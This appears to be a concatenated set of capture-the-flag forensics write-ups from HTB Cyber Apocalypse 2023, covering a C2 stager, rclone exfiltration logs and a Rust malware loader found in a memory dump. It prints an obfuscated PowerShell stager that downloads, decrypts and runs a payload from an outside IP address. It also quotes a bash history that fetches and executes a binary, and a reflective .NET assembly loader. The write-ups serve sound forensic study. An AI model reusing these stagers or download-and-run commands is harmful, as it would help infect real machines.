eYCnpcl9rgtbQtilvA7TzaBoaI59r0zj706MqpFXOzFAoTW5E1vqkoABYBOdIuvwHwCKGNGdcyJeFm9wg+PHRvwb7ShiUF+t0FYU2zgoYN8W8pPsHTS96Zbfy+6MdekUkNOicQcU3QpfNPLroTNbeY1fqoUP0L5EVLkN8j7Cz17iQuj4mLdntYbu3aq0xG2Huq+Wq+JpbGlmFENSIt+EpTuJECYkEEs3hhA5HwMarA817JbORpYfVgHJwt0dyLmcwgAKGw53TVgm4IUbsjTLwx0Cjb5lpsWYuhUkIkCVB3K8P++xBP0dVAyagtM1FS3XASBn06e7DciSsZoq5stoZorF86zFyi+WwIl+SRony3ejWoYczBiL9jjwOj2uNZDckHHdSf4mKK/039DKYbUudiBjnERcSqiCfRa2gMQDyOWG6AHnjB6xI22X83FSrX7S7/EEMIegf4ZqISeD9Db8/c9R4Hz97U/G9Yve/kw+FUHD88L1vt32rHejRphvwq6AD6Dcks+h7dsMNfAdl+LptW1jGrnK9Xas6oGBxGT7gcAuzG9Un/noXK0fsPkpPIcB2pnPkqm0DZH9M1m/zXVta2yLhx7UKVUkXuVgvTfxRT4PMv6cRddN+xLvncWPrO0FFE6sXRhoKF1Ut0k1L1z/jOq90O6t7iUnlQltQrWPuxBOpeCd3MckMjGDhJ1/F1FvhmTunWU1cSyUpem1I3UG7f1ZgUAIGXtt/S/44tgOWjikSj6Lym4Wl2Dsj77/Kfj5e4RY1+Pm8s0pRRNktTSUsMEuGSYvvW2t/cGcGlEyqHTqAlXq2DpTPl21OEp3vg04iBdtvY2xFiX39KsfftI8HrRevc+MjW6qjVj57rZE6l3b3XcjWWAfcdEyL/ZHxfmggyq5gzDDNdvo+qIZdL7NcScqqXG9zD9BVBt/o5KxjDSPOabJK8eoM0zp419yJB/BP+zmmTh939GR2g+PArFNVqH4JFr9CC0A+quq1X3LXcMcsL5h1cV6KDlPHw9k9HPwPTyOfCWraV6VOmI0XKcPIIS4WF87YKIWJA+TYtPOK1PntnnwNpNa6GxN3RiJARhSPfpuFeybnHTiCrT6YXevVdf1fLDjDWVngePYZ8wRQTjP1S11gp2JXoJTwZlhrgSLLWXvJM4iUlIdUjTPxEsppXrd7aLgauwzcaOPYDJA9epeGpc9CXKkuDAic9dgfWNMqK2/MZJDxSH3WfQwK4Q2/GATZDYPsjRdNw93o+QghelerYgt9SgADUrKH3V/QeZrdbwhdSvOKhYqszEhKI2YW+ASeFVnutsOVFvl+ou0P8AgQEBO4LebtHECN5JIP1n9M0uBg1jgmLnzoJrGGyhW3m9WXg0WdhEt4HeHuUjqGHvWXU7qZDcBFP1LaA2HWmtUQ/SBCsSxTV+/OgiWSobyVkAplvVY9TZ6LWEsKDwSiS1gFKMc9Hvun+Ne4kcXqhQP7RsK+pHXmnl+4dIlb0QFAhOAJTonYCp3+fLpjKURelO365cNvQIISBmwnFEqoB2yVfyiTWDp5PvW7Fm5oii8D1Rd10BloZECpbndjOVYnYdYo2ZMYEFRLGcasSd/wcNGWDE2lyssry/2cu8Nku3lqmydGAmPZJ/vfDPgyIUHOIviR3FwgWbHngw9+gytDepC8UZSl+6JOlbx13ykDIJVfBecxYS2h2ci/FlwhF5t0SVYDg4EDarUafMYeLFGtM21sYBzgM0dMaGgI+s7Tw3Nk9YWevi7tJEeP/L+PS+I9e0jwtSf4cVt2RbH457zjSUElyMUlP/N1LLPMFbfDi18DLzoYqaHtSwz9LbpMyfT8hf+YR3a7RgnuuPzTfFChSjzjmoIo1QSltisqIx+9i/HXiCEM014KLLQC1k6I1a+FI80vG1zhRAbpQqIA0AGuBXfb8JCfU+/i2XSXR+eYzY54JX1jUbiBRNobe3Apl/djPETcg7uMIzIzmhmONPpyfcmdvlaqOBbmrkFfGvQJh2SzSPbIGwCfzHksLEosFh4X7baaUP6v5V7RtiD0LExPebv/QsXA38V2dPfU8NutoyPSXwBPXERlRzuA5bAMA6sUh68Q0h3pOnm5DGOLMyd4wA7IdQiFffaMJ/DcslTckrdWbGmP0NB95HQOmbAslpGfnePNYElOiDNKoB0d0sTkEJBqqJl7gClAIxRydCWPfyyaOYiCSH9U6yyyDRC1i6qEvIQSxEgICa7WgKg8E0igcHHqfBKcV2jSbPbK83t2YKKEAD6aRUa762dh/AEzwny4RDZE4pwHacYNLUjBLbZGJYo7H6ciEsnYqxhRoI1NiHGXY6OxVL8Qs/B+TVb36b+w9dq0fNFvf2Ggojf9+zWqpwep2MdxNC5S6zl0uSqSoi6c/ULxtsRRThhDMs3kqC8s/6QW2NwUNIquEvw2/beeU0FJEv0Wwx3n0UvsW3+k327yU2+0IXaruhUgODN0nGn85/LjWnI8wY3ZwB6qeDP/m8x/Fgjr0Gc8MPjjlTshKHWbevi5EHRs/FCq/uiKp+aLAPVyo6hldz05lPh+lD01qP8ZEKizcuGlBks3LprdEvPxdA9ahCRf0z1eQRyZiSMdhtDoICFgSOphbtOVp/0+BKorWVx6Yd95OnzBC9E3qcmiUHKV/IFZqPO2cARlxdEAktMW/E3SxE000BP5O7is5Ih6Ai1IyTnyW1CnKcmRY5Rz9athFqL347pH5tZnBc3h8DQT+7OdFjJwr72brJPuXJi/DYQCFyGp/I60ihitzHxadpnfckdYeC5lXEH8oWSQHKCn9+fJ8A42zhNbCli9GZyQZXjEIhgwqsoMCBlTy85UDKq35GSUgXF9m8HLHzd3A7j2Rw0PI/JGK93z1e62FWmchg2dJY53fMy/qvd8Ih+859cL4SY075YTkpm1RHm3RY+mfQ1TQ9HfBskWm42heoeDMgq4YstxqkqQ8oQCGFW4quMPz4wFMEwMFBdri0EFWWXG6twLAMGzLj0ma7sQlerLj6oPvTutd6k27eLPttg4hw8pnpBKEn1Ju5n74gvmqid2r0U7sX0JL3+XMsTY9wgNdHq3fa2y0E9ze03dRAwKjMJU56HVFanqerRt1Q05MHUyZviVYNGp8+S5C4JPwfeup1ymGVTqpovbEnsnnAZGkYqXLy3bmHLLZICWxQaRKLggfnuMC8nY+H5UOkv21ea+/cdlUZQxCdD2LU1NohsUHoMS950D2jognxVyMTQmjcwCFVplLXWThWzPkWR0ZZIrF0Djke3CNdEYVROMfQnJ4xUSjdzzSvXvY6sWj2kuN21+/KQX26rFITKwOofgPnWJq59NODBgitZtBCxotQnpFzYCRRCWr21OTRPMtp58upFK3wcDwjcc/KGfF9ULEt7L6D4i8vVl8yPR0LD9oPgUr2P3zdH1z531a5Ga7c1WFOn/e/q/MRVWer8KRTp8XELLPuK5H9U4/Pdco/g2iD2TB48dEDLpZCNaWvGQCjg2J4u1/2uS9MoAn8Op2DcJpPemzAm3JFBNFuN6IeWpCQWvJXxvSG4LGGzjcPMc3CfTw/jKg6UYA5lwvMafgw5qgOTARknTQqGyQQpdk2hw9/9IhMEE3pGz70yiwyVa1K62d73LdB3QhhTlzxT0RS78pBF6gouB+/iXLFyxskC/3xqvmbyUClAZNFOTyeztYVdmkwgleIScZBcrvlQxC9Rxvxh79NwkBIqrU+WWpnmzkKlMacPBZXwkaTxh9n2axBtJl/3yXzdh6cpG9VvB7DGd3zF2FZ1v1riwQDeintiFPizzPvhx9OLE0RGzNCMp7EQRQZwGxgGJWxaitkH7CxTlE+Vz6vOZqMRksPJ+B1Pj1zUYy4qUIqSxnb9z1Ff1tPlzOgkJuBZb9cUITB54P2cA+dQJZh3KpVlGbPPu2032T/ERtLjHhAvh2PbnwuCVkc7qSoHouh7X8Zaqicrt48n5TUG1jFYK68cQ6A99UZRUo7+qvDJGnHwO8NuzwKTZA5I7MJnE4IZWptOhlHjwJuzd+2j0sIlYV/NeaDgECBkDMGNkcbP/1tqPXVuxHkQcWnNezLfTIhiR31px94Z0/qbhDt8i6fn2UvdHhIjQA1bcmzxGbEaHN4WYsiv9HDFKo22KHXmD1G3FMZEATYt1TGlnkGrs25c/c+bcCD0fDSXWps8ci6fumPuMLelSMnjJzK3Ub45aTdIL+G6HvplnoaU/Rp9juMz66i1r7mtBjcKaV7inbT4+gxxcKDNvX1CWCWzGXI4Yn90lb5gqi2kPAoIOtqJlaiJjAfQDkdtVLvDBgVQYUk2GaQZy7obgfNqRHJsCcvmMRbgj0CznUGAFUe9DekkqA2BMIaCcxdkXOdoKDNgU5LZw5XTrfd9/CUyktowt2Zva0YKWQagr5haQAr+22B2q3ZXl8YDJrqboUgnz8Fy2VklxUtDEdWiQt+TAScmOm0brdCemLYkGrZCrkR/uthT8JNzg4jckAlRWQIjU+IBZLP93rVbrF4OTVgSpt/2RiADyQ3oBDY5o1JOwtBC8MRZLQqBgQUNwGM0P5v9QgolGCT0Ke5j8cV4OvnT+qszvP4MuwpwLbOPAD2ozu4XJGuhRFrvGNbFNTe5j0+oQLs2R11UgauiWMF1DsaTdEsM6uzbKPqEScaNYYFXxMNkmevkM1ZYYw9t4HNXF9FTQtxYRoo2HE0TZhVOt7Rc3ruJRw55a1cYWYNAljqlaIFqgueV5PTsrxWYdnQ2MhC9y6dPPZljXFQRP8UVx1DEFhKq4qMnJKJELHibYryYMmsM/mBHCWE3IflFxHaEzrEFsTapWQMOv4aCL6J3PHCkrbZKzLtlwFYuA2ypN9qLd+yr0A6Jf4nSyCrINvrz2ZKL8fBBnwZLo+vDclO4UU5ywRkP8qgkmA6ouJkcG5BJKHYuhH0sEFOx6DbRKeRzKcHn3DeoZXA1a9hq+r4lddNLPg1IwyQRGu/2H0mE2gGNLOMfq37Ok+DgakhM/TUrragtrH/H+4cHL2i+A3SgP7lBI5CS2Erii1Pfd2udOEgggTWGZpQ01zpf1gAbhlAhkkJiE40kXtxNQuonAwrCVl9U7U+9TcfsyZZfPLogq20XDebjGqoCDuh5e1uweE+rtcJwzKTo4V5WzorNmL2q3eXtvAn+OlemgrZeCl0nveYqOC1vzE8sWrQH/3P9lUgh7kfxGHnhPf+nuhOrjG8Z3GugfcLTImKmbetxqJIQoQL0gMTbngY8Wthn+IMpPk3StmN7XXTTC+BTdBzdnUIHRGxI8PyvgO3ZK9pGfmmNWDe+XGbpH5UscVNP2bkYfmycfadKS9EPrvP3sU7BfvMyAw2vWR2aW2ADk6FzAOmepBobHUnCDtcMjrCtDWBsd7v/OoM0BbNDNOBgAqAcKQtzCo1gilOfY7KG6LDTv9SsZ5BdX8X3lf6GyAJ937vCU1nLiH8pyPPwzRmtazc5j362j7AZSfeAO9VLh5TIghonjW8Jmj/3BR+wZkgUrmbthedwgw9LTpVA8qD0YKhhpzko0ZEzP85dk2g1GzF5vRRk2JM4p67oz7uYYE4Mkq1RqQkHM5Ef7svsiAP/5+gLbgpZdsH4dPDjHDK3iEJwZoTlb0idX3XEQBcnTNNNwwReWyKtU8UQhBsBprDyABHdhw8VwqRUE8pCz1nP3WWirx0sej9Khl/ke/R7i1GCpVdMoef6B6d+ifCKx6Gbbqsud4bhylubX2A96y8LkFcm6plaaevVpf30a2vhUKeAUmdPN1khn5Hczxml5vx+pI0iYeBw== -------------------------------------------------------------------------------- /forensics/interstellar_c2/grab.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import unpad 3 | # ${a`Es}."KE`Y`sIZE" = 128 4 | # ${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0) 5 | # ${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1) 6 | 7 | key = bytearray([0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0]) 8 | iv = bytearray([0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1]) 9 | content = open('./94974f08-5853-41ab-938a-ae1bd86d8e51.dat', 'rb').read() 10 | print(content[:10]) 11 | 12 | cipher = AES.new(key, AES.MODE_CBC, iv=iv) 13 | clean = unpad(cipher.decrypt(content), 16) 14 | 15 | open('stage2.bin', 'wb').write(clean) 16 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/resp1.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/resp1.enc -------------------------------------------------------------------------------- /forensics/interstellar_c2/resp3.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/resp3.enc -------------------------------------------------------------------------------- /forensics/interstellar_c2/resp4.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/resp4.enc -------------------------------------------------------------------------------- /forensics/interstellar_c2/resp5.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/resp5.enc -------------------------------------------------------------------------------- /forensics/interstellar_c2/response5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/response5.png -------------------------------------------------------------------------------- /forensics/interstellar_c2/stage1.ps1: -------------------------------------------------------------------------------- 1 | .("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so') ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ; &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3 ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte')); .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle') BI34 ( [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo')); ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6') 2 | ${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51" 3 | .("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans') 4 | .("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf} 5 | ${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf}, ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c') ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN") 6 | ${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy'); 7 | ${a`es} = (&('GI') VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke() 8 | ${a`Es}."KE`Y`sIZE" = 128 9 | ${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0) 10 | ${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1) 11 | ${a`ES}."K`EY" = ${K`EY} 12 | ${A`es}."i`V" = ${i`V} 13 | ${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(), (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V') bI34 -VaLue )::"W`RItE"); 14 | ${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs}) 15 | ${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke() 16 | ${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH"); 17 | ${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B') 18 | & "$env:temp\tmp7102591.exe" 19 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/stage2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/stage2.bin -------------------------------------------------------------------------------- /forensics/packet_cyclone.md: -------------------------------------------------------------------------------- 1 | # Packet cyclone (easy) 2 | This is an interactive challenge where we answer questions about some windows event logs. 3 | The challenge makes the hint that `chainsaw` might be useful. 4 | 5 | I took the hint and ran chainsaw. 6 | I cloned the github repo and placed it in the `cs` folder inside the challenge 7 | ```shell 8 | ➜ cs ./chainsaw hunt ../Logs -s ../sigma_rules --mapping mappings/sigma-event-logs-all.yml 9 | ``` 10 | 11 | Here is the first execution of the *rclone* command. 12 | ``` 13 | CommandLine: '"C:\Users\wade\A 14 | ppData\Local\Temp\rclone-v1.61 15 | .1-windows-amd64\rclone.exe" c 16 | onfig create remote mega user 17 | majmeret@protonmail.com pass F 18 | BMeavdiaFZbWzpMqIVhJCGXZ5XXZI1 19 | qsU3EjhoKQw0rEoQqHyI' 20 | Company: https://rclone.org 21 | CurrentDirectory: C:\Users\wad 22 | e\AppData\Local\Temp\rclone-v1 23 | .61.1-windows-amd64\ 24 | Description: Rsync for cloud s 25 | torage 26 | FileVersion: 1.61.1 27 | Hashes: SHA256=E94901809FF7CC5 28 | 168C1E857D4AC9CBB339CA1F6E21DC 29 | CE95DFB8E28DF799961 30 | Image: C:\Users\wade\AppData\L 31 | ocal\Temp\rclone-v1.61.1-windo 32 | ws-amd64\rclone.exe 33 | IntegrityLevel: Medium 34 | LogonGuid: 10DA3E43-D892-63F8- 35 | 4B6D-030000000000 36 | LogonId: '0x36d4b' 37 | OriginalFileName: rclone.exe 38 | ParentCommandLine: '"C:\Window 39 | s\System32\WindowsPowerShell\v 40 | 1.0\powershell.exe" ' 41 | ParentImage: C:\Windows\System 42 | 32\WindowsPowerShell\v1.0\powe 43 | rshell.exe 44 | ParentProcessGuid: 10DA3E43-D8 45 | D2-63F8-9B00-000000000900 46 | ParentProcessId: 5888 47 | ParentUser: DESKTOP-UTDHED2\wa 48 | de 49 | ProcessGuid: 10DA3E43-D92B-63F 50 | 8-B100-000000000900 51 | ProcessId: 3820 52 | Product: Rclone 53 | RuleName: '-' 54 | TerminalSessionId: 1 55 | User: DESKTOP-UTDHED2\wade 56 | UtcTime: 2023-02-24 15:35:07.3 57 | 36 58 | ``` 59 | 60 | We can use this part of the output to answer the following questions 61 | 62 | > What is the email of the attacker used for the exfiltration process? (for example: name@email.com) 63 | majmeret@protonmail.com 64 | 65 | > What is the password of the attacker used for the exfiltration process? (for example: password123) 66 | FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI 67 | 68 | > What is the Cloud storage provider used by the attacker? (for example: cloud) 69 | mega 70 | 71 | > What is the ID of the process used by the attackers to configure their tool? (for example: 1337) 72 | 3820 73 | 74 | For the coming questions we will need the report of the second command invocation: 75 | ``` 76 | CommandLine: '"C:\Users\wade\A 77 | ppData\Local\Temp\rclone-v1.61 78 | .1-windows-amd64\rclone.exe" c 79 | opy C:\Users\Wade\Desktop\Reli 80 | c_location\ remote:exfiltratio 81 | n -v' 82 | Company: https://rclone.org 83 | CurrentDirectory: C:\Users\wad 84 | e\AppData\Local\Temp\rclone-v1 85 | .61.1-windows-amd64\ 86 | Description: Rsync for cloud s 87 | torage 88 | FileVersion: 1.61.1 89 | Hashes: SHA256=E94901809FF7CC5 90 | 168C1E857D4AC9CBB339CA1F6E21DC 91 | CE95DFB8E28DF799961 92 | Image: C:\Users\wade\AppData\L 93 | ocal\Temp\rclone-v1.61.1-windo 94 | ws-amd64\rclone.exe 95 | IntegrityLevel: Medium 96 | LogonGuid: 10DA3E43-D892-63F8- 97 | 4B6D-030000000000 98 | LogonId: '0x36d4b' 99 | OriginalFileName: rclone.exe 100 | ParentCommandLine: '"C:\Window 101 | s\System32\WindowsPowerShell\v 102 | 1.0\powershell.exe" ' 103 | ParentImage: C:\Windows\System 104 | 32\WindowsPowerShell\v1.0\powe 105 | rshell.exe 106 | ParentProcessGuid: 10DA3E43-D8 107 | D2-63F8-9B00-000000000900 108 | ParentProcessId: 5888 109 | ParentUser: DESKTOP-UTDHED2\wa 110 | de 111 | ProcessGuid: 10DA3E43-D935-63F 112 | 8-B200-000000000900 113 | ProcessId: 5116 114 | Product: Rclone 115 | RuleName: '-' 116 | TerminalSessionId: 1 117 | User: DESKTOP-UTDHED2\wade 118 | UtcTime: 2023-02-24 15:35:17.5 119 | 16 120 | ``` 121 | 122 | > What is the name of the folder the attacker exfiltrated; provide the full path. (for example: C:\Users\user\folder) 123 | C:\Users\Wade\Desktop\Relic_location 124 | 125 | > What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder) 126 | exfiltration 127 | 128 | > [+] Here is the flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys} 129 | -------------------------------------------------------------------------------- /forensics/pandoras_bane/README.md: -------------------------------------------------------------------------------- 1 | # Pandora's bane (insane) 2 | For this challenge we get a large memory dump. 3 | 4 | First I started by analyzing the process list and respective memory locations with `volatility`. 5 | After a bit of trial and error I have turned my attention to the files that exist within the dump. 6 | 7 | We can use the `vol -f mem.raw windows.filescan` command to get a list of available files and their addresses. 8 | Then once we find a file we can use the `vol -f mem.raw windows.dumpfiles --virtaddr ` command to dump the contents of the file. 9 | 10 | One such file was the `ConsoleHost_history.txt` file: 11 | ``` 12 | dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart 13 | whoami /all 14 | ``` 15 | 16 | Okay this is not too useful except maybe for the fact that WSL is being used, but I got that from the process list as well. 17 | 18 | Hm, but if WSL is used, then we have another history file we could check: the `.bash_history` file 19 | 20 | ```bash 21 | rm .bash_history 22 | whoami 23 | id 24 | cat /etc/passwd 25 | ping google.com 26 | ps aux 27 | uname -a 28 | cat /etc/os-release 29 | wget windowsliveupdater.com/updater -O /tmp/.apt-cache 30 | chmod +x /tmp/.apt-cache 31 | /tmp/.apt-cache 32 | ``` 33 | 34 | It looks like this file drops the next stage inside the `tmp` folder. 35 | We can use the same method we have used sofar to extract that file as well 36 | Okay this file contains an elf header, so it is time to fire up Ghidra and reverse engineer it. 37 | 38 | When looking at the `main` function I have noticed immediately that this is compiled from rust code. 39 | ```c 40 | void main(int param_1,undefined8 param_2) 41 | 42 | { 43 | code *local_8; 44 | 45 | local_8 = rust_loader::main; 46 | std::rt::lang_start_internal 47 | (&local_8,anon.6b03302ec1ee582ae67c97070480a9e5.0.llvm.11976028101026120347, 48 | (long)param_1,param_2,0); 49 | return; 50 | } 51 | ``` 52 | 53 | Looking at the other `main` function I saw that some powershell commands were executed to enable execution and to disable saving history. 54 | Then some interesting file was opened: 55 | ```c 56 | std::fs::OpenOptions::new(&local_430); 57 | sVar4 = std::fs::OpenOptions::write((int)&local_430,(void *)0x1,__n); 58 | __file = (char *)std::fs::OpenOptions::create(sVar4,1); 59 | iVar2 = std::fs::OpenOptions::truncate(__file,1); 60 | std::fs::OpenOptions::_open(&local_618,iVar2,"/dev/shm/.font-unix",0x13); 61 | ``` 62 | 63 | `/dev/shm/.font-unix` I don't recognize this to be a usual file! 64 | 65 | Then I see that some `UdpSocket` is being read from 66 | ```c 67 | std::net::udp::UdpSocket::recv((int)&local_508,&local_6a0,(size_t)&local_430,0x400); 68 | ``` 69 | 70 | And a bit further down, the content is written to the file 71 | ```c 72 | local_508 = std::io::Write::write_all(local_5f8,(long)uStack_610 + uVar8,(long)local_608 - uVar8); 73 | ``` 74 | 75 | So you would think now we can check what the dropped file is, but not so fast! 76 | 77 | ```c 78 | std::fs::OpenOptions::new(&local_430); 79 | sVar4 = std::fs::OpenOptions::read((int)&local_430,(void *)0x1,__nbytes); 80 | std::fs::OpenOptions::_open(&local_618,sVar4,"/dev/shm/.font-unix",0x13); 81 | // ... 82 | std::fs::{impl#5}::read_to_end(&local_430,&local_6bc,&local_630); 83 | ``` 84 | 85 | The file we have just written to, is being read back! 86 | Then some decoding/decrypting is about to take place 87 | 88 | ```c 89 | base64::engine::Engine::decode(&local_430,&DAT_001522c5,&local_618); 90 | // ... 91 | 92 | as_hex::FromHex>::from_hex 93 | (puVar10, 94 | "99b97bf329968477cc3aae5dd24fdc12a04177b98f66444e03a9a14c2b1758823a85861eccaadc8ecd4f 36d201a510ce\n $bytes = [System.Convert]::FromBase64String(\"\")\n $asm = [Reflection.Assembly]::Load($bytes)\n $method = $asm.GetType(\"SecurityUpda te.Updater\")\n $method::run()called `Option::unwrap()` on a `None` value/rust c/d5a82bbd26e1ad8b7401f6a718a9c57c96905483/library/alloc/src/collections/btree/naviga te.rs/rustc/d5a82bbd26e1ad8b7401f6a718a9c57c96905483/library/core/src/slice/iter.rs" 95 | ); 96 | // ... 97 | 98 | as_hex::FromHex>::from_hex 99 | (&local_430, 100 | "3a85861eccaadc8ecd4f36d201a510ce\n $bytes = [System.Convert]::FromBase64S tring(\"\")\n $asm = [Reflection.Assembly]::Load($bytes)\n $method = $asm.GetType(\"SecurityUpdate.Updater\")\n $method::run()called `Option: :unwrap()` on a `None` value/rustc/d5a82bbd26e1ad8b7401f6a718a9c57c96905483/libra ry/alloc/src/collections/btree/navigate.rs/rustc/d5a82bbd26e1ad8b7401f6a718a9c57c 96905483/library/core/src/slice/iter.rs" 101 | ); 102 | // ... 103 | 104 | libaes::Cipher::new_256(&local_430,uVar1); 105 | libaes::Cipher::cbc_decrypt 106 | (&local_6a0,&local_430,CONCAT44(uStack_65c,uStack_660),local_658, 107 | CONCAT44(uStack_67c,uStack_680),local_678); 108 | local_608 = (undefined **)local_690; 109 | local_618 = CONCAT44(uStack_69c,local_6a0); 110 | uStack_610 = (int *)CONCAT44(uStack_694,uStack_698); 111 | base64::engine::Engine::encode(&local_508,&DAT_001522c5,&local_618); 112 | ``` 113 | 114 | So: 115 | * The file content is base64 decoded 116 | * We get the key and the IV from the binary as hex encoded strings. Here ghdira struggles a bit with where the string exactly ends, but we can still get the general idea: the hex string at the start is the value we are interested in 117 | * A new AES-256 CBC cipher is created, and the content is decrypted 118 | * The decdrypted content is base64 encoded again 119 | 120 | After all this the following command execution takes place: 121 | ```c 122 | std::sys::unix::process::process_common::Command::new(&local_618,"powershell.exe",0xe); 123 | memcpy(&local_508,&local_618,0xd0); 124 | /* try { // try from 0010c3de to 0010c47c has its CatchHandler @ 0010cad5 */ 125 | std::sys::unix::process::process_common::Command::arg(&local_508,"-Command",8); 126 | std::sys::unix::process::process_common::Command::arg(&local_508,pcStack_6b0,local_6a8); 127 | ``` 128 | 129 | So we know the downloaded file is decrypted and then executed as powershell. 130 | I have extracted the file in question to `stage2.enc`. 131 | I have written the `dec.py` script in order to decrypt the second stage 132 | Then we get `stage2.bin` which is a .NET assembly. 133 | But we expected powershell code right? Well not precisely. 134 | In fact some formatting code was executed prior to the powershell execution from the rust binary, and the format string used: 135 | 136 | ```ps1 137 | $bytes = [System.Convert]::FromBase64String("") 138 | $asm = [Reflection.Assembly]::Load($bytes) 139 | $method = $asm.GetType("SecurityUpdate.Updater") 140 | $method::run() 141 | ``` 142 | The payload got base64 encoded after decryption and passed to the ps1 inline script which will base64 decode it and then load the assembly and run it. 143 | 144 | So let's load the second stage into ILSpy. 145 | The program checks if it is running in a virtualized environment and if not begins malicious activity: 146 | ```cs 147 | byte[] array = Convert.FromBase64String("6wDoYwYAAOsAYDIXGsfBRgbZG8E/kwAAUABFMBQORQIUDuL2J8wq89MzGR8fn8w7eFvZx+yJcAaCKf0lpWVBU1NT0trMxYB6bGF7YdfkNBDh1wueBLvFIf6QqmzuBHqQorhHZ3tPOiPSciFs8UYOl/62JmKlHw85eMloNQUR3/ZR8xPZ5g+Kw76aFeM7uJntZdkcyuXL4/8ikIFXgp1UbgF1Hyi0FQhrTKS9HlhPFfI3HV3MmAu7Bnn5u3mrzOFOF5XeY+lCNIhKWxxwNYBhVp2UWtGTy36P71FKcWMfhBeX0x6NnwvFtj6C+PvlARDSfckYSRLMZmlhwxSb0VszatLCJ9rgVlRXgxWK0Abito0QUO2U96vpAn3XKU1/jmduEykq4smE4PKKmbvabK9LyzPrP39XbzufUiDCe9bDv9oYNdEOxXp4lHqtjrZuPs6PamAaPy2VtPBLpWXlRO38hxsrnXtHn2anlfJBYlpCnCRJPw2vOTNh4JFx6eMVhdXDzmDCeTPNNI44Ml/KPKd0ZkZvnwP47961vSiZh8ViGEop/IrzBVJoalbKX+YHOI7vMnKGST4Utlv6aB0nN84dJVQvu/CGKJMPTqBiODsejAb48r0oATslsjkZ11Yt2/brb2gant9WdckUpLiP7BEAmc3TV3bPBx5JMsK8d6vTLjIfMcL9/Zxrh/+rKETxNbjfuqTy9z/1a/VH2IIBVQfShTJn2qqH7z2aWoufnGQPPIN8pL5AbG9IUoZU5+KBlROiBFVuAsvl04gQs9ReEUGt6XZtvP4mAe0to3Fx0uNDGldlzMYXlnWi6bSEAnj+Z2z07eG87TsN3dbQ3y0nOu5vy/yReYnrFiNK6dl31Wuc+/UCKNseqO01GI+NP5nzYlV/8zv6N/pnmcN28Abpu2IpJe66jWYKBu5eRXbGkeMcTRnnh3WGE0pRzzmDK2k8yb60pSW+VU+RG5584xhOWeqY4lSs5bbXLvxlBqKdz5VLEdHut0SiUtjEGHAHoN82Y1XPw5/YEm8HvTfVCqEJQg1d6XoAH8zemwH6N